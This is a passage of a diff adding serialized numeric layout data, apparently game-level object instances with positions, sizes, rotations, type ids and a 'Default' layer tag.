+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2409,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2906,
+ 593,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2410,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3132,
+ 573,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 2411,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3233,
+ 637,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2412,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3444,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2413,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2414,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2415,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3233,
+ 732,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2416,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3233,
+ 1017,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2417,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3233,
+ 827,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2418,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3233,
+ 922,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2419,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2767.909423828125,
+ 502.37744140625,
+ 0,
+ 368.37939453125,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2421,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3046.62109375,
+ 567.562255859375,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0.5235987901687622,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2422,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3232.17236328125,
+ 643.1580810546875,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2423,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3308.59228515625,
+ 630.0966796875,
+ 0,
+ 262.8316040039063,
+ 96.15914916992188,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2424,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3491.0341796875,
+ 761.1966552734375,
+ 0,
+ 183.0292663574219,
+ 471.5202331542969,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2425,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3812.62548828125,
+ 573.51611328125,
+ 0,
+ 273.4289245605469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2426,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3721.911865234375,
+ 485.564453125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2427,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3721.911865234375,
+ 406.0883483886719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2428,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3722.390625,
+ 326.9223937988281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2429,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3722.390625,
+ 247.4462890625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2430,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3723.3740234375,
+ 169.7050170898438,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2431,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3723.852783203125,
+ 90.5390625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2432,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3723.852783203125,
+ 11.06295776367188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2433,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2376,
+ 461,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2434,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2681,
+ 394,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2435,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3238,
+ 349,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2436,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3630,
+ 571,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2437,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2438,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3444,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2439,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2440,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3444,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2441,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 855,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2442,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3444,
+ 855,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2443,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536,
+ 950,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2444,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3444,
+ 950,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2445,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3628,
+ 760,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2446,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720,
+ 760,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2447,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3812,
+ 760,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2448,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3904,
+ 760,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2449,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2450,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2451,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3812.296875,
+ 323.1220703125,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2452,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3906,
+ 672,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2453,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3766.767822265625,
+ 766.13671875,
+ 0,
+ 369.3859558105469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2454,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718.926025390625,
+ 252.4837036132813,
+ 0,
+ 87.03976440429688,
+ 560.4215087890625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2455,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.956787109375,
+ 855.5564575195312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2456,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720.15185546875,
+ 855.3533325195312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2457,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.750732421875,
+ 855.1489868164062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2458,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.551513671875,
+ 855.5396728515625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2459,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3628,
+ 950,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2460,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720,
+ 950,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2461,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3812,
+ 950,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2462,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3904,
+ 950,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2463,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4113,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2464,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4205,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2465,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4297,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2466,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4665.806640625,
+ 698.7319946289062,
+ 0,
+ 1201,
+ 88,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2467,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3998.19140625,
+ 740.6567993164062,
+ 0,
+ 200.2014465332031,
+ 87.62319946289062,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2468,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3813.613037109375,
+ 486.1856994628906,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2469,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3812.481201171875,
+ 486.1558837890625,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2470,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4389,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2471,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4391,
+ 612,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2472,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4391.6611328125,
+ 532.2911987304688,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2473,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4392.34228515625,
+ 452.9035339355469,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2474,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4391,
+ 364,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2475,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4303,
+ 613,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2476,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4009,
+ 352,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2477,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4251,
+ 231,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2478,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4481.4580078125,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2479,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4573.55078125,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2480,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4666.0087890625,
+ 695,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2481,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4758.0166015625,
+ 694.9141235351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2482,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4850.474609375,
+ 694.9141235351562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2483,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4942.88330078125,
+ 694.6904907226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2484,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5035.34130859375,
+ 694.6904907226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2485,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5127.8916015625,
+ 694.6904907226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2486,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5220.349609375,
+ 694.6904907226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2487,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4391,
+ 578.789306640625,
+ 0,
+ 79,
+ 336,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2488,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4109,
+ 347,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
